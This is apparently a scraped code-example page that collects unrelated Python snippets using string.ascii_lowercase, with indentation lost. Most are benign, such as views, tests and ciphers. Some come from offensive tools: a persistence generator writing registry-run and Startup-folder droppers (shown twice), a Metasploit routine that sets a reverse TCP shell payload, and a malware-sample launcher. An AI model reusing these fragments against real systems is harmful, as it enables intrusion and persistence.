def family_list(request):
start_letter = request.GET.get('start_letter')
if start_letter:
first_letter = start_letter[0]
else:
first_letter = 'a'
families = ProductFamily.objects \
.prefetch_related('group') \
.annotate(Count('file')) \
.order_by('name')
if first_letter == '#':
families = families.exclude(name__regex=r'^[A-Za-z]')
else:
families = families.filter(name__istartswith=first_letter)
all_letters = '#' + string.ascii_lowercase
context = {'families': families, 'first_letter': first_letter, 'all_letters': all_letters}
return render(request, 'msdn/family_list.html', context)
python类ascii_lowercase()的实例源码
def index():
if request.args.get('code'):
unlock_code = request.args.get('code')
# unlock, new password
re = s.query(RecoveryEmail).filter(RecoveryEmail.password_code==unlock_code).one_or_none()
if re:
jid = re.jid
re.password_code = None
s.merge(re)
s.commit()
# set new password and send email
email_address = re.email
password = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(10))
p = subprocess.Popen(['/usr/bin/prosodyctl', 'passwd', jid], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
args = bytes("%s\n%s\n" % (password, password), encoding='utf8')
p.communicate(args)
sendMail(email_address, 'new password', password)
content = render_template('success.html', message='password was sent')
else:
content = render_template('error.html', message='link invalid')
else:
content = render_template('index.html')
return content
def __get_f(self, s):
i = 0
t = ''
l = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
while i < len(s):
try:
c1 = l.index(s[i])
c2 = l.index(s[i + 1])
t += chr(c1 << 2 & 255 | c2 >> 4)
c3 = l.index(s[i + 2])
t += chr(c2 << 4 & 255 | c3 >> 2)
c4 = l.index(s[i + 3])
t += chr(c3 << 6 & 255 | c4)
i += 4
except:
break
return t
def test_wildcard_dns_record(self):
global wildcard_dns_record
ip_dic = {}
genrandstr = lambda i: ''.join(random.choices(string.ascii_lowercase + string.digits, k=i))
tasks = [asyncio.ensure_future(self.resolver.query(genrandstr(20) + '.' + self.domain, 'A')) for _ in range(6)]
reqs = asyncio.gather(*tasks)
result = self.loop.run_until_complete(reqs)
for r in result:
if ip_dic.get(r.ip[0]):
ip_dic[r.ip[0]] += 1
if ip_dic[r.ip[0]] > 3:
wildcard_dns_record = r.ip[0]
print(f'[*] Found wildcard dns record:{wildcard_dns_record}')
return
else:
ip_dic[r.ip[0]] = 1
def __init__(self, serializer, readable=True):
'''
Args:
serialzer: underlying serializer that will get the calls forwarded.
'''
# the underlying serializer
self._serializer = serializer
self.SILENCE_TOKEN = serializer.SILENCE_TOKEN
# 'vowels' and 'consonants' (to be alternated if readable = true)
self.readable = readable
self.V = 'aeiouy'
self.C = ''.join([i for i in string.ascii_lowercase if i not in self.V])
# a mapping of real words to scrambled words an back
self.word_mapping = {}
self.inv_word_mapping = {}
self.logger = logging.getLogger(__name__)
def gen_pseudo_word(self, L=None):
if not L:
L = random.randint(1, 8)
# generate one word that we hadn't used before
while True:
if self.readable:
# alternating between vowels and consonants, sampled with repl.
_choice, _range = random.choice, range(int(math.ceil(L / 2)))
v = [_choice(self.V) for i in _range]
c = [_choice(self.C) for i in _range]
zipped = zip(v, c) if random.getrandbits(1) else zip(c, v)
pseudo_word = ''.join([a for b in zipped for a in b])[:L]
else:
pseudo_word = ''.join(random.sample(
string.ascii_lowercase, L))
if pseudo_word not in self.inv_word_mapping:
return pseudo_word
def test_instancer_iterable(self):
def micro1_question(self):
return random.choice(string.ascii_lowercase + ' '), string.ascii_lowercase
tasker = TaskGenerator(micro1_question)
question, answer = tasker.get_task_instance()
check_correct_answer = tasker.check_answer('a')
check_normal_answer = tasker.check_answer(' ')
check_wrong_answer = tasker.check_answer('/')
self.assertTrue(check_correct_answer[1])
self.assertEqual(check_correct_answer[2], 1)
self.assertFalse(check_normal_answer[1])
self.assertEqual(check_normal_answer[2], -1)
self.assertFalse(check_wrong_answer[1])
self.assertEqual(check_wrong_answer[2], -1)
def test_instancer_function(self):
def micro1_question(self):
def micro1_reward(answer, question=''):
if answer in string.ascii_lowercase:
return True, 1
elif answer == ' ':
return None, 0
else:
return False, -1
return random.choice(string.ascii_lowercase + ' '), micro1_reward
tasker = TaskGenerator(micro1_question)
question, answer = tasker.get_task_instance()
check_correct_answer = tasker.check_answer('a')
check_normal_answer = tasker.check_answer(' ')
check_wrong_answer = tasker.check_answer('/')
self.assertTrue(check_correct_answer[1])
self.assertEqual(check_correct_answer[2], 1)
self.assertFalse(check_normal_answer[1])
self.assertEqual(check_normal_answer[2], 0)
self.assertFalse(check_wrong_answer[1])
self.assertEqual(check_wrong_answer[2], -1)
def get_task_generator(self):
def micro14_question(self):
alphabet = string.ascii_lowercase
idx = random.randint(0, len(alphabet) - 2)
question = 'after {} comes what:.'.format(alphabet[idx])
sentence = alphabet[idx + 1]
sentence += '.'
def micro14_feedback(is_correct, question):
reaction = "good job" if is_correct else "wrong"
if not is_correct:
return reaction + '! ' + sentence
else:
return reaction + '! '
return question, [sentence], micro14_feedback
return TaskGenerator(micro14_question, '', None, ';')
def convert_to_label_chars(s):
"""Turn the specified name and value into a valid Google label."""
# We want the results to be user-friendly, not just functional.
# So we can't base-64 encode it.
# * If upper-case: lower-case it
# * If the char is not a standard letter or digit. make it a dash
accepted_characters = string.ascii_lowercase + string.digits + '-'
def label_char_transform(char):
if char in accepted_characters:
return char
if char in string.ascii_uppercase:
return char.lower()
return '-'
return ''.join(label_char_transform(c) for c in s)
def handle_name_action(args):
allowed_name = r'[a-z][a-z0-9-]+$'
if args.shortname[0] not in string.ascii_lowercase:
print('"{}" does not start with an undercase letter'.format(args.shortname))
sys.exit()
if not re.match(allowed_name, args.shortname):
print('"{}" must consist only of undercase letters, numbers, and dashes'.format(args.shortname))
sys.exit()
options = dict(
username=raw_input('Username: '),
password=getpass(),
id=args.id,
shortname=args.shortname,
)
r = requests.post(HOST+'/api/name', data=options)
rj = r.json()
print(rj['message'])
def get_id_path(id):
if '/' in id:
username, id1 = id.split('/', 1)
if not id1:
raise DappledError("Invalid ID")
elif id1[0] in string.ascii_lowercase:
# shortname id
publish_id = get_idmap(id)
else:
publish_id = id1
else:
publish_id = id
if publish_id is None:
return None
paths = glob(os.path.join(DAPPLED_PATH, 'nb', publish_id+'*'))
if not paths:
return None
paths.sort(key=lambda x: int(x.split('.v')[1]), reverse=True)
path = paths[0]
return path
def generate_batch(self, chathistory, target):
if len(chathistory) > 0:
# Generate a random alphanumeric BATCH ID
batch_id = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(BATCH_ID_SIZE))
# Place the BATCH start identifer to the beginning of the chathistory
line = 'irc.znc.in BATCH +{} chathistory {}'.format(batch_id, target)
self.send_chathistory(line)
# Prepend the BATCH ID to each line from the chathistory
for line in chathistory:
#msg_id = uuid.uuid4()
#line = '@batch={};draft/msgid={};{}'.format(batch_id, msg_id, line)
line = '@batch={};{}'.format(batch_id, line)
self.send_chathistory(line)
# Place the BATCH end identifer to the beginning of the chathistory
line = 'irc.znc.in BATCH -{}'.format(batch_id)
self.send_chathistory(line)
else:
client = self.GetClient()
self.send_error(client, 'ERR', 'NOT_FOUND')
# Send the given line to the user
def start(encoded_sample):
sample = base64.b64decode(encoded_sample)
random_str = ''.join(random.choice(ascii_lowercase) for _ in range(10))
sample_fname = os.path.join(options['samples_folder'], random_str + '.exe')
sample_file = open(sample_fname, 'wb')
sample_file.write(sample)
sample_file.close()
print 'Launching sample'
cmd = options['cmd'].split(' ')
cmd.append(sample_fname)
os.chdir('C:\\pin')
p = Popen(cmd, stdout=PIPE, stderr=PIPE)
sleep(options['timeout'])
print 'Sending log'
send_log()
print 'Execution completed'
def generate(self):
name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
if self.method=="registry":
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
import pupwinutils.persistence
path=os.path.join(os.path.expandvars("%TEMP%"), {})
shutil.copy(sys.executable, path)
pupwinutils.persistence.add_registry_startup(path)
""".format(name))
else:
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
""".format(name))
def safetychecks_deprecated(record: Union[Dict[Text, Dict], Iterable[Text]]) -> True:
""" Checks the names being inserted using string formatting for suspicious characters.
Prevents SQL injection attacks.
Returns True or Exits the program.
"""
safe_chars = set(string.ascii_lowercase)
safe_chars.update(['_'])
try:
fields_chars = set(''.join([field for field in record.keys()]))
except AttributeError:
fields_chars = set(list(record))
if fields_chars.issubset(safe_chars):
return True
else:
print(fields_chars, record, '\n',
'Browser Database tables have suspicious characters in field names. Please examine them.',
'As a precaution against an SQL injection attack, only lowercase letters and underscore '
'charaters are permitted in field names.',
'Program halted.', sep='\n')
sys.exit()
def generate_input_sequence(self):
ascii_list = [c for c in ascii_lowercase]
digit_list = [c for c in digits]
sample_char_seq = np.random.choice(ascii_list, self.seq_len, replace=False).tolist()
sample_digit_seq = np.random.choice(digit_list, self.seq_len, replace=False).tolist()
query_char = np.random.choice(sample_char_seq, 1).tolist()[0]
query_result = sample_digit_seq[sample_char_seq.index(query_char)]
output = []
for pair in zip(sample_char_seq, sample_digit_seq):
output += list(pair)
output += ['?'] * 2
output += [query_char]
return (list(map(lambda x: self.vocab_dict[x], output)), [self.vocab_dict[query_result]])
def setUp(self):
float_col = pd.Series(pd.np.random.randn(10)).append(
pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20)))
float_col_with_int_val = pd.Series(
pd.np.random.randint(1, 100, 10)).append(
pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20)))
str_col = pd.Series([random.choice(string.ascii_lowercase)
for _ in range(10)]).append(
pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20)))
int_col = pd.Series(pd.np.random.randint(1, 100, 20))
nan_col = pd.Series([pd.np.NaN for _ in range(20)])
self.dataframe = pd.DataFrame({'float_col': float_col,
'float_col_with_int_val': float_col_with_int_val,
'int_col': int_col,
'str_col': str_col,
'nan_col': nan_col})
def generate_tokens(mean, std_dev, num_tokens):
tokens = {}
cnt = 0
while cnt < num_tokens:
length = int(round(random.normalvariate(mean,
std_dev)))
if length < 2:
continue
flag = True
while flag:
new_token = ''.join(random.choice(string.ascii_lowercase)
for i in range(length))
if tokens.get(new_token) is None:
tokens[new_token] = True
flag = False
cnt += 1
return list(tokens.keys())
def setUp(self):
super(CompleterTest, self).setUp()
# directories must end with os.sep for completer to
# search inside the directory for possible completions
if self.tempdir[-1] != os.sep:
self.tempdir += os.sep
self.paths = []
# create some files and directories in temp_dir
for c in string.ascii_lowercase:
path = os.path.join(self.tempdir, c)
self.paths.append(path)
if ord(c) % 2:
os.mkdir(path)
else:
with open(path, 'w'):
pass
ps6.py 文件源码
项目:MITx-6.00.1x-Introduction-to-Computer-Science-and-Programming-Using-Python
作者: xianglol
项目源码
文件源码
阅读 48
收藏 0
点赞 0
评论 0
def apply_shift(self, shift):
'''
Applies the Caesar Cipher to self.message_text with the input shift.
Creates a new string that is self.message_text shifted down the
alphabet by some number of characters determined by the input shift
shift (integer): the shift with which to encrypt the message.
0 <= shift < 26
Returns: the message text (string) in which every character is shifted
down the alphabet by the input shift
'''
letters_all = string.ascii_lowercase + string.ascii_uppercase
shifted_txt = ''
shift_dic = self.build_shift_dict(shift)
for e in self.message_text:
if e in letters_all:
e = shift_dic[e]
shifted_txt += e
return shifted_txt
assignment_prob_hungarian.py 文件源码
项目:Visualization-of-popular-algorithms-in-Python
作者: MUSoC
项目源码
文件源码
阅读 74
收藏 0
点赞 0
评论 0
def CreateGraph():
B = nx.DiGraph();
f = open('input.txt')
n = int(f.readline())
cost = []
for i in range(n):
list1 = map(int, (f.readline()).split())
cost.append(list1)
people = []
for i in range(n):
people.append(i)
job = []
for c in ascii_lowercase[:n]:
job.append(c)
B.add_nodes_from(people, bipartite=0) # Add the node attribute "bipartite"
B.add_nodes_from(job, bipartite=1)
for i in range(n) :
for c in ascii_lowercase[:n] :
if cost[i][ord(c)-97] > 0 :
B.add_edge(i, c, length = cost[i][ord(c)-97])
return B,cost
def _setupExploit(self, exploit, msfport):
self.log.debug('Setting up {}'.format(exploit))
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
rand_port = random.randint(1000, 65535)
#generate the command string to send to the virtual console
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
return rand_url
def randomString(len=16, prefix="TEST:"):
"""
Create a random string to be used to build data for tests
"""
if len > 500000:
lis = list(string.ascii_lowercase)
return ''.join(random.choice(lis) for _ in range(len))
rand = random.SystemRandom()
charset = string.ascii_uppercase + string.digits
random_string = prefix
for _ in range(len):
random_string += rand.choice(charset)
return random_string
def run_analyze_upload_dockerscan(config: DockerAnalyzeUploadModel):
assert isinstance(config, DockerAnalyzeUploadModel)
# Sanitize the URL
target = sanitize_url(config.registry)
# Build remote file name
remote_filename = config.remote_filename
if not remote_filename:
characters = string.ascii_lowercase + string.digits
remote_filename = "".join(random.choice(characters)
for x in range(random.randint(5, 20)))
link, _ = upload_content_v2(target,
remote_filename,
config.local_file)
return link
def _generate_case_table(case_mapping: str) -> Dict[int, str]:
case_mapping = case_mapping.lower()
if case_mapping not in ('ascii', 'rfc1459', 'strict-rfc1459'):
# TODO log warning
case_mapping = DEFAULT_CASE_MAPPING
upper_str = string.ascii_uppercase
lower_str = string.ascii_lowercase
if case_mapping == 'rfc1459':
upper_str += "[]\\^"
lower_str += "{}|~"
elif case_mapping == 'strict-rfc1459':
upper_str += "[]\\"
lower_str += "{}|"
return str.maketrans(upper_str, lower_str)
def registerService(self, name):
try:
apikey = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20))
entity_type = settings.entity_type
resource = settings.resouce
cbroker = settings.cbroker
header = {"Content-type": "application/json",
"Fiware-Service": name,
"Fiware-ServicePath": "/"}
data = '{"services":[{"apikey":"%s","cbroker":"%s","entity_type":"%s","resource":"%s"}]}'%(apikey, cbroker, entity_type, resource)
#raise Exception(data)
self.requester.sendPostRequest(header, data, settings.service_api)
return {"apikey":apikey,
"entity_type": entity_type,
"cbroker": cbroker,
"resource": resource,
"name":name}
except:
return False
def getchars(type, need_char=False):
flag = str(type)
chars = []
if type in pystrs.base_dic_type and not need_char:
if flag == pystrs.base_dic_type[0]:
chars = string.digits
elif flag == pystrs.base_dic_type[1]:
chars = string.ascii_lowercase
elif flag == pystrs.base_dic_type[2]:
chars = string.ascii_uppercase
elif flag == pystrs.base_dic_type[3]:
chars = string.printable[:36]
elif flag == pystrs.base_dic_type[4]:
chars = string.digits + string.ascii_uppercase
elif flag == pystrs.base_dic_type[5]:
chars = string.ascii_letters
elif flag == pystrs.base_dic_type[6]:
chars = string.printable[:62]
return chars
elif need_char:
return type
def generate(self):
name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
if self.method=="registry":
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
import pupwinutils.persistence
path=os.path.join(os.path.expandvars("%TEMP%"), {})
shutil.copy(sys.executable, path)
pupwinutils.persistence.add_registry_startup(path)
""".format(name))
else:
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
""".format(name))
def rot13a(text):
"""
My first solution: brute force
"""
# loop through the letters in the input string
new_text = []
for c in text:
# do upper and lower case separately
if c in string.ascii_lowercase:
o = ord(c) + 13
if o > z:
o = a-1 + o-z
elif c in string.ascii_uppercase:
o = ord(c) + 13
if o > Z:
o = A-1 + o-Z
else:
o = ord(c)
new_text.append(chr(o))
return "".join(new_text)